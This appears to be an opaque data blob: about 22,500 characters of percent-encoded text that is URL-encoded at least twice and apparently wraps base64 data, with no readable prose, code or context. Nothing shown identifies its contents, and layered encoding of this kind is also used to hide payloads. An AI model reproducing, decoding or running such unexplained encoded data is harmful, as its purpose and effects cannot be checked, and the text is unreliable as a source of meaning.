%34%61%25%32%62%25%34%39%25%36%62%25%37%35%25%35%37%25%36%31%25%33%37%25%35%35%25%34%35%25%34%63%25%35%30%25%32%66%25%33%39%25%36%35%25%35%33%25%32%62%25%34%35%25%34%38%25%32%66%25%36%37%25%37%37%25%33%39%25%36%63%25%37%36%25%34%61%25%36%39%25%32%66%25%34%65%25%33%33%25%36%65%25%34%33%25%34%39%25%33%39%25%33%35%25%33%32%25%37%36%25%34%33%25%33%34%25%35%34%25%37%34%25%32%66%25%36%35%25%37%61%25%36%32%25%35%31%25%34%35%25%35%61%25%35%39%25%34%33%25%33%37%25%34%31%25%33%34%25%33%37%25%35%39%25%35%34%25%34%61%25%37%61%25%32%66%25%32%62%25%36%65%25%34%62%25%36%33%25%36%37%25%33%32%25%35%32%25%34%39%25%36%39%25%35%37%25%34%34%25%34%65%25%34%65%25%35%31%25%34%35%25%35%37%25%32%62%25%33%39%25%35%32%25%34%61%25%37%32%25%36%34%25%32%66%25%35%37%25%35%32%25%36%37%25%36%66%25%34%38%25%37%37%25%34%65%25%34%32%25%37%38%25%36%62%25%36%66%25%35%33%25%33%36%25%37%32%25%36%39%25%34%64%25%36%62%25%32%62%25%37%34%25%34%37%25%37%31%25%34%62%25%35%34%25%36%65%25%35%38%25%34%62%25%36%63%25%33%37%25%37%33%25%37%30%25%37%36%25%34%66%25%36%62%25%33%31%25%32%62%25%34%36%25%34%66%25%34%38%25%34%39%25%36%32%25%36%35%25%37%33%25%37%39%25%32%66%25%36%35%25%33%36%25%34%39%25%37%39%25%34%33%25%33%30%25%36%39%25%36%61%25%34%38%25%34%39%25%36%39%25%37%34%25%33%35%25%35%32%25%34%63%25%35%31%25%36%62%25%36%63%25%34%62%25%36%61%25%34%31%25%35%37%25%34%37%25%36%31%25%34%32%25%33%34%25%36%37%25%36%37%25%34%62%25%37%32%25%36%31%25%37%38%25%34%31%25%34%31%25%34%62%25%33%34%25%37%39%25%36%33%25%36%34%25%34%35%25%33%30%25%34%63%25%36%61%25%37%35%25%35%30%25%34%62%25%34%35%25%37%39%25%35%37%25%33%35%25%37%30%25%34%66%25%33%34%25%36%63%25%34%36%25%34%35%25%36%39%25%37%38%25%36%34%25%33%39%25%34%65%25%36%62%25%33%34%25%34%65%25%34%65%25%33%36%25%36%33%25%34%35%25%34%62%25%37%61%25%37%36%25%34%65%25%36%63%25%36%66%25%37%38%25%35%35%25%37%61%25%34%66%25%37%32%25%34%34%25%37%31%25%36%35%25%36%37%25%34%34%25%35%34%25%36%64%25%36%38%25%33%34%25%35%36%25%37%38%25%36%38%25%34%35%25%34%61%25%34%32%25%36%62%25%34%38%25%34%32%25%36%39%25%37%30%25%34%35%25%35%31%25%36%34%25%36%35%25%34%32%25%36%39%25%37%31%25%34%34%25%34%62%25%34%35%25%35%37%25%34%31%25%33%30%25%36%34%25%37%30%25%35%39%25%37%30%25%35%32%25%33%31%25%34%33%25%35%37%25%34%62%25%37%38%25%34%36%25%35%34%25%34%31%25%35%37%25%34%32%25%36%64%25%34%37%25%34%63%25%36%61%25%35%33%25%35%30%25%36%36%25%34%39%25%34%66%25%33%38%25%34%65%25%32%62%25%34%64%25%35%36%25%33%33%25%36%66%25%35%61%25%36%31%25%36%62%25%36%66%25%34%65%25%37%39%25%36%33%25%36%64%25%36%37%25%37%38%25%36%62%25%33%34%25%32%62%25%33%32%25%34%32%25%34%32%25%34%35%25%34%31%25%34%35%25%35%30%25%33%36%25%35%34%25%35%30%25%35%30%25%34%65%25%35%35%25%35%61%25%36%37%25%36%64%25%37%61%25%36%66%25%34%66%25%36%34%25%36%38%25%33%38%25%36%65%25%37%30%25%36%66%25%35%36%25%37%35%25%35%36%25%36%34%25%36%62%25%36%35%25%37%31%25%35%61%25%36%33%25%36%64%25%37%34%25%36%38%25%33%35%25%37%33%25%37%39%25%34%31%25%35%37%25%34%32%25%37%32%25%33%30%25%36%37%25%34%34%25%33%33%25%34%37%25%35%37%25%34%65%25%34%32%25%35%32%25%36%32%25%36%39%25%37%61%25%34%61%25%35%34%25%37%61%25%34%62%25%36%62%25%34%63%25%35%39%25%33%36%25%35%37%25%33%37%25%36%64%25%35%35%25%34%32%25%36%66%25%33%38%25%36%62%25%37%39%25%34%32%25%36%38%25%34%35%25%34%63%25%36%66%25%36%33%25%34%66%25%33%31%25%35%37%25%36%37%25%35%36%25%36%66%25%33%31%25%36%31%25%34%62%25%37%34%25%34%32%25%36%63%25%35%31%25%36%64%25%36%32%25%37%38%25%36%32%25%34%63%25%34%65%25%35%37%25%32%62%25%37%33%25%34%33%25%33%31%25%37%34%25%33%35%25%36%35%25%36%31%25%35%61%25%35%38%25%37%35%25%34%33%25%34%32%25%36%32%25%34%35%25%35%30%25%35%36%25%36%64%25%34%39%25%37%32%25%35%37%25%33%33%25%33%32%25%33%37%25%33%34%25%34%61%25%36%62%25%34%65%25%32%66%25%33%30%25%34%64%25%35%39%25%34%37%25%34%31%25%34%37%25%34%64%25%33%36%25%34%31%25%37%32%25%35%61%25%33%31%25%35%39%25%34%31%25%36%39%25%36%38%25%36%31%25%33%39%25%35%32%25%35%37%25%36%37%25%34%39%25%36%32%25%34%65%25%36%65%25%36%38%25%32%62%25%36%66%25%34%31%25%33%33%25%34%66%25%33%30%25%35%61%25%34%64%25%35%34%25%36%37%25%36%34%25%35%38%25%35%31%25%35%31%25%34%32%25%34%65%25%37%31%25%33%31%25%35%61%25%35%39%25%34%36%25%34%65%25%34%64%25%37%30%25%33%36%25%37%36%25%33%35%25%34%39%25%36%36%25%33%37%25%35%30%25%36%35%25%33%37%25%37%34%25%33%39%25%35%38%25%35%33%25%37%31%25%36%63%25%36%62%25%33%34%25%34%66%25%34%32%25%34%31%25%33%31%25%34%31%25%35%35%25%37%37%25%35%33%25%34%31%25%34%31%25%37%38%25%35%61%25%32%62%25%33%38%25%36%63%25%37%37%25%37%38%25%36%66%25%37%37%25%35%30%25%36%62%25%37%36%25%37%34%25%36%61%25%34%65%25%34%61%25%36%32%25%36%34%25%34%38%25%36%61%25%34%32%25%35%37%25%37%61%25%34%36%25%36%39%25%37%32%25%34%65%25%35%61%25%34%61%25%36%33%25%36%39%25%36%64%25%36%64%25%33%37%25%36%31%25%35%39%25%34%37%25%36%34%25%33%32%25%33%39%25%35%61%25%36%66%25%32%66%25%36%66%25%36%35%25%36%63%25%34%66%25%33%30%25%35%61%25%34%39%25%36%61%25%35%38%25%36%37%25%37%33%25%37%33%25%35%35%25%37%37%25%37%34%25%35%37%25%35%33%25%36%65%25%37%35%25%34%34%25%34%63%25%33%33%25%36%66%25%35%36%25%34%31%25%35%36%25%36%65%25%34%62%25%35%61%25%35%36%25%37%37%25%33%35%25%37%37%25%37%31%25%37%30%25%35%31%25%33%39%25%32%62%25%37%36%25%36%61%25%35%36%25%35%39%25%35%31%25%37%35%25%34%39%25%35%34%25%34%38%25%36%39%25%34%39%25%36%33%25%37%36%25%34%34%25%36%36%25%36%64%25%34%38%25%35%35%25%35%37%25%34%66%25%36%64%25%34%31%25%34%65%25%34%38%25%33%36%25%35%30%25%35%31%25%34%35%25%36%64%25%34%37%25%33%37%25%34%62%25%33%35%25%34%66%25%34%31%25%35%31%25%36%63%25%36%65%25%37%38%25%34%32%25%35%39%25%37%32%25%36%64%25%36%33%25%34%38%25%37%38%25%34%33%25%36%37%25%33%38%25%34%35%25%36%62%25%37%38%25%32%62%25%36%37%25%36%39%25%36%64%25%34%31%25%33%34%25%36%37%25%33%37%25%35%30%25%35%32%25%36%33%25%36%37%25%34%38%25%37%61%25%33%32%25%34%35%25%33%34%25%36%38%25%33%38%25%34%38%25%36%62%25%36%37%25%33%35%25%37%34%25%35%31%25%33%38%25%37%61%25%35%31%25%34%36%25%32%62%25%34%32%25%34%38%25%35%30%25%37%61%25%33%37%25%33%35%25%35%30%25%34%63%25%37%35%25%33%36%25%37%31%25%34%38%25%36%31%25%34%33%25%36%65%25%37%33%25%35%32%25%33%36%25%33%33%25%34%31%25%35%37%25%36%61%25%33%38%25%33%32%25%37%33%25%34%39%25%37%38%25%33%34%25%33%33%25%36%39%25%33%31%25%34%64%25%35%30%25%34%32%25%33%33%25%36%64%25%36%65%25%36%63%25%36%64%25%36%34%25%34%39%25%33%32%25%36%63%25%36%64%25%34%62%25%37%31%25%34%66%25%34%61%25%36%35%25%34%61%25%36%31%25%36%31%25%36%62%25%34%38%25%36%33%25%34%66%25%36%31%25%34%36%25%36%63%25%36%32%25%36%65%25%35%31%25%35%38%25%33%36%25%33%35%25%37%35%25%34%39%25%33%35%25%34%32%25%36%38%25%37%30%25%36%34%25%37%34%25%34%31%25%37%34%25%34%37%25%35%31%25%34%32%25%34%36%25%33%39%25%36%33%25%34%32%25%36%34%25%34%37%25%35%30%25%33%36%25%36%63%25%33%37%25%37%38%25%34%31%25%35%31%25%34%61%25%33%36%25%36%36%25%33%38%25%36%37%25%34%37%25%35%33%25%33%37%25%37%30%25%37%61%25%34%66%25%36%31%25%35%36%25%36%66%25%36%33%25%36%32%25%35%36%25%36%36%25%35%35%25%34%33%25%35%37%25%32%62%25%35%37%25%37%31%25%35%38%25%33%33%25%33%30%25%37%38%25%34%31%25%35%32%25%35%33%25%33%38%25%34%65%25%36%32%25%33%39%25%37%61%25%34%61%25%35%31%25%37%35%25%36%63%25%35%38%25%35%37%25%35%35%25%36%34%25%37%39%25%36%33%25%36%62%25%36%63%25%34%66%25%34%63%25%36%33%25%37%61%25%36%33%25%36%61%25%36%38%25%36%38%25%36%33%25%34%61%25%36%61%25%34%31%25%36%33%25%35%38%25%34%37%25%36%32%25%37%39%25%36%31%25%35%36%25%37%37%25%36%34%25%37%61%25%34%38%25%33%35%25%35%30%25%33%30%25%36%36%25%33%30%25%36%34%25%34%35%25%34%65%25%34%35%25%36%37%25%34%63%25%33%39%25%34%31%25%33%35%25%34%33%25%32%66%25%36%38%25%32%62%25%34%61%25%37%36%25%34%61%25%37%30%25%37%61%25%34%38%25%33%37%25%37%39%25%32%62%25%36%38%25%34%65%25%37%37%25%35%36%25%36%35%25%32%66%25%37%39%25%36%36%25%34%37%25%36%61%25%34%33%25%35%38%25%36%36%25%34%32%25%37%61%25%37%61%25%35%31%25%36%64%25%36%33%25%35%33%25%37%38%25%33%36%25%36%36%25%34%61%25%36%38%25%34%37%25%36%36%25%34%32%25%34%32%25%34%33%25%33%34%25%35%35%25%35%33%25%35%61%25%33%33%25%35%36%25%35%37%25%37%61%25%34%37%25%37%33%25%35%34%25%35%32%25%33%39%25%36%33%25%34%39%25%34%33%25%35%31%25%36%38%25%35%31%25%35%30%25%35%39%25%37%38%25%36%37%25%37%33%25%37%61%25%36%35%25%37%38%25%34%36%25%36%34%25%36%64%25%34%36%25%35%35%25%36%37%25%34%63%25%34%33%25%34%34%25%32%62%25%32%66%25%36%31%25%35%31%25%33%37%25%36%38%25%36%66%25%34%62%25%34%66%25%35%31%25%34%31%25%34%32%25%35%39%25%36%38%25%37%38%25%36%63%25%34%37%25%36%66%25%37%34%25%36%35%25%34%37%25%34%63%25%35%36%25%35%32%25%34%64%25%34%35%25%35%35%25%35%31%25%36%33%25%34%65%25%36%32%25%35%31%25%34%62%25%36%31%25%33%33%25%36%38%25%34%62%25%34%34%25%36%39%25%36%39%25%36%65%25%36%38%25%34%31%25%33%39%25%36%65%25%34%31%25%36%61%25%34%64%25%35%38%25%33%32%25%34%36%25%33%38%25%34%36%25%34%63%25%35%31%25%33%30%25%35%39%25%33%30%25%35%30%25%34%64%25%37%39%25%36%38%25%34%31%25%33%38%25%34%37%25%33%39%25%36%31%25%35%36%25%34%35%25%34%35%25%35%33%25%34%61%25%34%37%25%33%36%25%37%37%25%36%35%25%33%35%25%36%36%25%37%39%25%36%34%25%33%38%25%36%64%25%33%34%25%35%36%25%35%36%25%36%65%25%37%33%25%33%35%25%34%65%25%34%36%25%37%32%25%36%61%25%36%36%25%37%36%25%37%31%25%36%33%25%33%30%25%36%37%25%36%61%25%36%35%25%36%63%25%33%31%25%33%39%25%37%39%25%34%66%25%36%31%25%35%37%25%35%38%25%36%33%25%33%31%25%35%35%25%37%30%25%34%63%25%34%62%25%33%33%25%34%66%25%36%32%25%35%30%25%35%32%25%36%64%25%34%65%25%34%65%25%34%36%25%36%61%25%33%39%25%32%66%25%35%39%25%34%37%25%35%37%25%34%66%25%33%34%25%37%61%25%37%33%25%35%37%25%36%64%25%36%37%25%37%39%25%35%33%25%37%30%25%36%64%25%36%63%25%33%33%25%34%61%25%35%36%25%36%37%25%36%32%25%33%32%25%36%35%25%34%34%25%33%38%25%34%65%25%35%39%25%37%33%25%36%33%25%34%62%25%35%61%25%34%63%25%35%33%25%34%61%25%35%30%25%34%35%25%33%39%25%33%31%25%34%62%25%33%32%25%36%31%25%35%32%25%36%35%25%37%32%25%34%38%25%36%31%25%36%37%25%33%37%25%37%32%25%34%39%25%37%32%25%34%65%25%33%38%25%34%63%25%36%66%25%34%33%25%33%38%25%36%31%25%33%35%25%37%61%25%34%37%25%33%30%25%32%66%25%36%65%25%34%65%25%36%32%25%34%32%25%34%61%25%36%36%25%37%33%25%36%65%25%34%34%25%33%33%25%34%63%25%34%36%25%37%39%25%34%35%25%35%34%25%36%36%25%35%31%25%37%30%25%34%39%25%35%61%25%35%39%25%36%33%25%35%32%25%36%36%25%33%31%25%34%34%25%36%34%25%34%38%25%36%61%25%36%37%25%34%33%25%34%62%25%35%61%25%36%38%25%34%65%25%33%37%25%36%61%25%36%39%25%36%64%25%34%37%25%37%30%25%35%36%25%36%34%25%35%36%25%36%37%25%34%37%25%35%31%25%34%65%25%36%34%25%35%30%25%34%37%25%36%63%25%35%38%25%34%34%25%34%32%25%35%31%25%34%34%25%36%65%25%34%64%25%35%39%25%36%36%25%34%34%25%33%35%25%36%39%25%33%35%25%35%35%25%34%35%25%37%38%25%33%39%25%34%64%25%37%38%25%37%34%25%33%33%25%34%65%25%34%36%25%36%34%25%36%31%25%34%35%25%35%37%25%34%63%25%34%32%25%37%38%25%36%39%25%34%63%25%34%64%25%36%37%25%36%63%25%35%34%25%34%65%25%36%63%25%35%61%25%34%63%25%34%36%25%37%61%25%34%65%25%36%64%25%36%33%25%33%30%25%33%35%25%36%35%25%35%30%25%34%65%25%37%34%25%33%37%25%36%35%25%35%32%25%36%37%25%34%38%25%35%38%25%37%35%25%34%36%25%33%33%25%37%33%25%34%32%25%34%34%25%37%34%25%35%30%25%32%66%25%37%33%25%35%32%25%35%61%25%36%64%25%36%66%25%34%65%25%35%34%25%32%62%25%36%36%25%33%38%25%33%39%25%36%66%25%36%32%25%35%39%25%35%36%25%36%38%25%36%37%25%34%66%25%34%66%25%34%32%25%33%34%25%36%36%25%32%62%25%36%33%25%36%63%25%35%30%25%34%39%25%37%35%25%35%34%25%37%35%25%37%36%25%33%30%25%35%38%25%36%32%25%37%39%25%37%34%25%37%35%25%36%65%25%34%66%25%33%38%25%35%37%25%37%34%25%37%38%25%37%36%25%34%39%25%35%38%25%33%35%25%36%63%25%35%34%25%34%34%25%37%38%25%36%36%25%33%31%25%37%32%25%36%64%25%36%36%25%35%37%25%35%31%25%33%37%25%34%61%25%33%39%25%36%33%25%34%65%25%33%38%25%34%36%25%35%30%25%35%38%25%37%37%25%34%34%25%35%33%25%34%64%25%34%33%25%35%30%25%37%30%25%32%66%25%33%34%25%37%34%25%34%61%25%33%30%25%33%31%25%33%31%25%35%36%25%35%61%25%33%38%25%37%37%25%35%37%25%33%37%25%35%31%25%36%33%25%34%31%25%36%32%25%33%31%25%36%62%25%36%61%25%34%63%25%36%37%25%34%63%25%37%37%25%36%32%25%37%35%25%33%33%25%36%34%25%33%38%25%34%61%25%35%37%25%34%62%25%34%62%25%33%35%25%32%62%25%35%39%25%36%63%25%33%32%25%37%33%25%36%61%25%34%31%25%34%31%25%37%33%25%35%33%25%34%31%25%34%31%25%34%38%25%36%31%25%34%32%25%33%33%25%33%38%25%36%36%25%34%64%25%34%65%25%32%66%25%34%31%25%34%37%25%33%30%25%34%31%25%35%36%25%36%35%25%33%30%25%34%35%25%37%37%25%36%65%25%34%66%25%37%35%25%32%62%25%34%38%25%37%31%25%35%38%25%35%30%25%34%33%25%34%33%25%34%33%25%33%39%25%36%31%25%34%38%25%34%39%25%36%39%25%32%66%25%36%31%25%33%32%25%36%62%25%37%31%25%34%62%25%33%35%25%33%32%25%32%66%25%36%38%25%34%38%25%33%36%25%35%39%25%33%38%25%37%31%25%35%35%25%34%63%25%32%62%25%37%38%25%33%39%25%33%33%25%32%62%25%37%37%25%34%65%25%34%39%25%33%31%25%37%61%25%37%39%25%34%62%25%36%66%25%35%33%25%35%32%25%33%30%25%35%31%25%36%38%25%36%39%25%34%62%25%36%65%25%34%33%25%34%61%25%33%38%25%33%37%25%37%37%25%35%61%25%33%38%25%35%34%25%37%30%25%32%66%25%35%39%25%34%61%25%33%31%25%33%31%25%33%37%25%34%36%25%37%39%25%36%39%25%36%33%25%36%35%25%35%31%25%33%30%25%36%62%25%33%34%25%33%34%25%34%64%25%34%35%25%37%30%25%35%30%25%34%38%25%36%33%25%35%39%25%37%31%25%33%33%25%35%37%25%36%35%25%36%65%25%34%36%25%37%61%25%34%36%25%36%65%25%37%30%25%36%65%25%34%36%25%35%34%25%37%31%25%35%38%25%37%36%25%37%32%25%36%61%25%34%39%25%35%34%25%32%62%25%34%63%25%34%33%25%36%32%25%36%38%25%37%36%25%34%37%25%33%31%25%34%36%25%37%38%25%33%34%25%33%30%25%33%34%25%37%39%25%35%32%25%37%30%25%36%63%25%34%32%25%35%32%25%36%37%25%36%36%25%36%66%25%34%38%25%33%37%25%34%38%25%36%36%25%35%38%25%36%37%25%36%33%25%35%33%25%33%33%25%34%35%25%36%34%25%36%62%25%33%34%25%34%63%25%33%33%25%37%35%25%34%35%25%37%31%25%36%63%25%34%64%25%36%39%25%37%32%25%32%66%25%34%35%25%34%39%25%34%34%25%32%66%25%37%38%25%35%32%25%37%30%25%34%39%25%37%30%25%36%34%25%32%66%25%34%38%25%33%38%25%34%38%25%36%38%25%37%30%25%36%65%25%37%30%25%36%61%25%36%64%25%34%63%25%37%33%25%35%30%25%34%35%25%34%65%25%33%32%25%33%38%25%35%32%25%37%38%25%36%63%25%35%36%25%35%38%25%36%39%25%34%38%25%35%32%25%33%35%25%36%36%25%34%64%25%33%32%25%34%38%25%37%38%25%35%39%25%34%37%25%37%61%25%33%34%25%35%30%25%37%61%25%34%35%25%33%35%25%37%39%25%36%33%25%36%34%25%35%33%25%35%39%25%37%39%25%36%63%25%35%34%25%36%62%25%36%36%25%35%31%25%37%36%25%35%30%25%34%31%25%35%33%25%36%65%25%33%33%25%36%64%25%37%32%25%33%32%25%35%39%25%33%39%25%35%34%25%37%35%25%36%61%25%34%37%25%36%37%25%35%30%25%36%39%25%37%34%25%37%33%25%37%36%25%36%39%25%33%38%25%35%36%25%33%30%25%33%37%25%35%61%25%35%36%25%36%35%25%36%63%25%36%62%25%33%39%25%35%37%25%33%31%25%32%62%25%34%37%25%34%35%25%33%39%25%35%36%25%34%62%25%36%33%25%35%35%25%36%35%25%36%65%25%36%33%25%35%34%25%34%35%25%36%33%25%33%39%25%36%38%25%34%37%25%36%37%25%35%33%25%37%33%25%32%66%25%32%66%25%34%35%25%34%39%25%35%35%25%36%32%25%36%33%25%35%37%25%33%30%25%37%61%25%34%38%25%36%31%25%34%66%25%35%61%25%36%62%25%37%35%25%37%39%25%34%31%25%34%35%25%37%31%25%33%39%25%37%38%25%36%66%25%34%36%25%33%39%25%34%33%25%36%38%25%34%36%25%35%35%25%37%30%25%36%65%25%36%35%25%36%66%25%34%37%25%34%66%25%33%39%25%36%39%25%37%33%25%35%37%25%33%38%25%34%38%25%33%33%25%36%64%25%36%61%25%35%38%25%36%31%25%36%64%25%37%61%25%34%32%25%36%61%25%35%38%25%35%31%25%36%64%25%35%36%25%32%66%25%36%32%25%36%32%25%35%35%25%37%61%25%35%36%25%37%34%25%37%34%25%34%36%25%35%36%25%34%66%25%32%62%25%34%62%25%34%37%25%37%61%25%33%38%25%37%36%25%37%39%25%35%61%25%32%66%25%33%36%25%36%63%25%36%35%25%32%62%25%35%34%25%36%35%25%34%66%25%34%65%25%34%32%25%37%61%25%35%30%25%37%37%25%36%62%25%37%61%25%34%63%25%33%38%25%34%32%25%32%62%25%34%61%25%36%61%25%32%62%25%35%39%25%34%35%25%36%65%25%36%37%25%33%32%25%35%37%25%35%39%25%34%35%25%35%31%25%36%34%25%36%32%25%34%64%25%32%66%25%33%35%25%37%39%25%35%36%25%35%61%25%33%35%25%36%62%25%36%34%25%34%62%25%33%38%25%35%36%25%34%61%25%35%37%25%35%32%25%34%32%25%35%34%25%37%39%25%37%38%25%34%38%25%33%33%25%34%38%25%36%34%25%34%65%25%36%65%25%33%37%25%35%33%25%35%32%25%33%33%25%37%34%25%36%63%25%34%39%25%34%61%25%37%36%25%36%34%25%35%35%25%34%33%25%37%38%25%32%66%25%36%31%25%36%63%25%37%61%25%35%61%25%34%62%25%35%36%25%33%30%25%37%34%25%33%34%25%36%64%25%34%32%25%34%63%25%37%32%25%36%36%25%36%63%25%37%32%25%37%39%25%35%39%25%36%38%25%36%37%25%34%31%25%35%36%25%34%36%25%35%30%25%36%61%25%34%32%25%34%61%25%34%31%25%35%32%25%35%37%25%33%39%25%36%32%25%36%32%25%36%36%25%37%36%25%34%31%25%34%35%25%32%66%25%36%62%25%34%39%25%36%32%25%33%32%25%32%66%25%34%35%25%36%64%25%36%32%25%37%33%25%34%66%25%34%61%25%36%36%25%33%32%25%37%31%25%35%33%25%34%34%25%33%32%25%34%65%25%34%66%25%36%64%25%37%33%25%35%30%25%34%37%25%36%65%25%35%34%25%35%61%25%34%66%25%37%61%25%34%62%25%35%37%25%33%32%25%34%37%25%34%61%25%35%36%25%33%39%25%34%34%25%33%39%25%34%39%25%37%32%25%36%38%25%35%30%25%32%66%25%33%35%25%35%39%25%33%33%25%33%38%25%34%31%25%36%32%25%34%39%25%33%35%25%34%62%25%34%37%25%34%61%25%36%38%25%36%65%25%36%38%25%33%35%25%37%35%25%35%33%25%37%39%25%33%30%25%34%66%25%36%31%25%34%62%25%33%33%25%36%35%25%35%34%25%35%36%25%33%34%25%37%37%25%33%39%25%35%36%25%33%39%25%35%61%25%35%38%25%35%36%25%33%36%25%34%65%25%35%39%25%35%61%25%36%32%25%33%34%25%37%61%25%34%61%25%33%31%25%34%33%25%33%33%25%33%37%25%34%35%25%33%32%25%36%34%25%33%36%25%34%62%25%36%66%25%34%36%25%36%66%25%35%61%25%34%63%25%34%34%25%35%34%25%36%34%25%34%35%25%36%34%25%35%36%25%33%31%25%36%31%25%35%39%25%35%39%25%34%61%25%34%61%25%36%34%25%36%64%25%36%64%25%34%66%25%35%30%25%34%32%25%35%38%25%33%36%25%33%31%25%36%63%25%35%35%25%35%35%25%36%32%25%34%65%25%34%63%25%37%31%25%36%32%25%37%35%25%35%37%25%34%61%25%37%35%25%36%61%25%33%33%25%37%36%25%36%66%25%35%36%25%36%39%25%36%31%25%37%38%25%34%61%25%33%36%25%35%35%25%37%30%25%36%61%25%35%37%25%37%61%25%33%33%25%37%39%25%37%37%25%36%62%25%36%38%25%33%38%25%35%37%25%35%30%25%36%33%25%36%62%25%36%32%25%33%37%25%33%39%25%34%37%25%36%34%25%35%31%25%36%33%25%34%36%25%33%30%25%36%37%25%33%34%25%35%61%25%36%35%25%36%37%25%33%37%25%36%64%25%34%62%25%37%33%25%33%39%25%37%35%25%34%31%25%35%32%25%35%61%25%35%34%25%36%33%25%36%66%25%36%65%25%34%66%25%35%39%25%35%35%25%37%39%25%34%33%25%37%32%25%32%66%25%37%36%25%34%64%25%33%31%25%34%39%25%36%37%25%33%30%25%34%66%25%33%36%25%36%38%25%36%33%25%34%37%25%34%34%25%36%35%25%35%37%25%36%62%25%33%35%25%37%34%25%34%63%25%37%38%25%34%33%25%34%38%25%34%66%25%36%62%25%35%32%25%37%33%25%35%32%25%36%63%25%37%31%25%34%32%25%35%36%25%36%32%25%35%32%25%36%33%25%33%37%25%35%61%25%34%39%25%36%65%25%35%38%25%36%61%25%35%38%25%35%31%25%33%36%25%36%65%25%33%31%25%34%31%25%33%30%25%34%61%25%37%31%25%35%35%25%37%39%25%36%63%25%37%37%25%36%37%25%36%37%25%36%37%25%36%33%25%37%31%25%36%66%25%33%34%25%32%62%25%35%33%25%36%62%25%34%61%25%36%62%25%35%37%25%37%39%25%34%33%25%37%30%25%33%31%25%36%35%25%34%64%25%36%65%25%36%34%25%37%34%25%35%61%25%37%37%25%35%38%25%33%35%25%33%38%25%33%38%25%34%36%25%36%34%25%35%36%25%34%36%25%37%35%25%34%65%25%36%34%25%36%65%25%34%39%25%36%34%25%37%31%25%33%30%25%34%65%25%35%33%25%33%35%25%36%39%25%34%31%25%36%36%25%36%35%25%36%36%25%37%32%25%33%32%25%33%38%25%37%36%25%34%32%25%37%39%25%33%38%25%37%31%25%36%33%25%35%34%25%34%65%25%33%36%25%37%33%25%35%35%25%35%32%25%34%39%25%35%35%25%36%62%25%36%61%25%33%32%25%35%34%25%35%35%25%37%32%25%35%30%25%34%33%25%36%66%25%36%37%25%33%37%25%35%36%25%33%34%25%33%31%25%35%35%25%36%33%25%36%32%25%34%38%25%34%37%25%33%37%25%37%37%25%34%63%25%36%62%25%33%30%25%34%31%25%34%37%25%34%38%25%34%35%25%36%32%25%32%66%25%36%65%25%36%33%25%34%38%25%34%61%25%36%61%25%37%30%25%33%36%25%34%32%25%36%39%25%35%61%25%35%37%25%34%65%25%36%65%25%35%61%25%34%66%25%36%32%25%36%38%25%33%35%25%32%62%25%34%31%25%35%32%25%34%35%25%36%33%25%33%33%25%37%31%25%36%63%25%34%63%25%35%36%25%33%39%25%34%39%25%37%39%25%33%38%25%36%64%25%33%37%25%36%34%25%35%32%25%36%36%25%37%31%25%35%61%25%32%66%25%33%34%25%34%64%25%34%64%25%34%66%25%35%31%25%37%31%25%35%35%25%37%31%25%34%36%25%34%34%25%36%61%25%36%37%25%34%31%25%35%39%25%37%34%25%34%66%25%37%36%25%35%31%25%35%39%25%34%64%25%34%32%25%37%31%25%36%64%25%35%61%25%35%34%25%37%35%25%37%35%25%33%35%25%37%37%25%36%34%25%36%38%25%34%36%25%34%33%25%36%34%25%37%30%25%36%63%25%36%38%25%36%34%25%36%63%25%35%36%25%35%34%25%36%34%25%37%34%25%33%31%25%37%37%25%32%66%25%36%61%25%37%34%25%34%65%25%36%65%25%37%35%25%33%39%25%37%36%25%34%65%25%37%39%25%34%66%25%34%61%25%33%37%25%34%66%25%36%63%25%32%62%25%37%34%25%37%34%25%37%36%25%35%34%25%32%62%25%36%35%25%37%32%25%32%66%25%36%36%25%36%65%25%36%35%25%33%33%25%36%38%25%33%30%25%37%61%25%34%33%25%35%38%25%33%35%25%36%62%25%33%39%25%34%66%25%37%61%25%33%38%25%33%34%25%37%36%25%34%63%25%37%31%25%32%62%25%37%33%25%36%32%25%34%39%25%35%61%25%35%38%25%34%66%25%35%61%25%34%38%25%35%30%25%33%35%25%35%31%25%36%63%25%34%35%25%37%33%25%33%33%25%36%34%25%33%37%25%36%34%25%35%30%25%37%61%25%37%37%25%32%62%25%33%30%25%35%38%25%34%62%25%36%63%25%35%37%25%37%31%25%37%33%25%33%33%25%36%64%25%36%63%25%34%62%25%37%32%25%33%33%25%36%35%25%36%65%25%33%32%25%32%62%25%36%66%25%35%30%25%36%38%25%36%31%25%34%33%25%37%38%25%34%37%25%36%65%25%36%64%25%37%31%25%35%37%25%33%36%25%35%37%25%36%61%25%33%36%25%36%38%25%34%38%25%36%31%25%33%37%25%36%34%25%34%35%25%34%62%25%35%31%25%35%61%25%37%30%25%33%39%25%33%37%25%36%62%25%36%61%25%34%64%25%34%39%25%34%38%25%37%38%25%36%62%25%35%38%25%34%61%25%34%34%25%35%37%25%36%63%25%34%37%25%33%36%25%35%61%25%36%63%25%34%66%25%33%33%25%34%38%25%35%34%25%36%37%25%34%39%25%37%37%25%34%63%25%36%62%25%37%30%25%37%32%25%35%33%25%34%34%25%36%34%25%34%66%25%37%39%25%36%65%25%36%32%25%36%37%25%34%61%25%34%39%25%34%66%25%34%66%25%34%33%25%35%61%25%34%63%25%36%32%25%35%30%25%33%38%25%36%65%25%33%37%25%35%32%25%34%61%25%36%37%25%35%39%25%34%31%25%34%31%25%34%31%25%34%34%25%33%30%25%36%33%25%36%32%25%37%32%25%37%31%25%37%39%25%34%63%25%36%37%25%36%37%25%37%31%25%35%33%25%36%65%25%36%34%25%34%64%25%34%33%25%33%33%25%36%32%25%36%39%25%35%61%25%37%33%25%34%32%25%35%61%25%34%36%25%37%39%25%35%31%25%33%31%25%34%61%25%35%32%25%37%35%25%36%64%25%34%61%25%36%32%25%37%34%25%37%38%25%34%35%25%33%30%25%34%32%25%34%37%25%35%32%25%36%33%25%36%62%25%36%64%25%37%61%25%36%64%25%36%34%25%36%39%25%34%39%25%36%39%25%34%39%25%37%31%25%34%31%25%37%30%25%33%37%25%33%31%25%33%37%25%35%30%25%37%61%25%32%66%25%35%39%25%32%66%25%34%62%25%32%62%25%34%66%25%34%61%25%36%64%25%35%33%25%35%37%25%37%37%25%34%66%25%35%30%25%34%64%25%33%33%25%33%32%25%32%66%25%37%35%25%36%61%25%34%31%25%35%39%25%35%37%25%34%38%25%34%64%25%34%34%25%33%34%25%36%65%25%35%34%25%35%35%25%36%65%25%37%35%25%36%32%25%37%32%25%33%30%25%36%66%25%33%39%25%34%65%25%36%64%25%32%62%25%34%39%25%35%34%25%34%33%25%36%33%25%36%39%25%35%61%25%36%31%25%35%39%25%33%34%25%36%66%25%35%38%25%36%65%25%37%36%25%34%34%25%33%32%25%36%61%25%32%62%25%36%62%25%36%37%25%37%39%25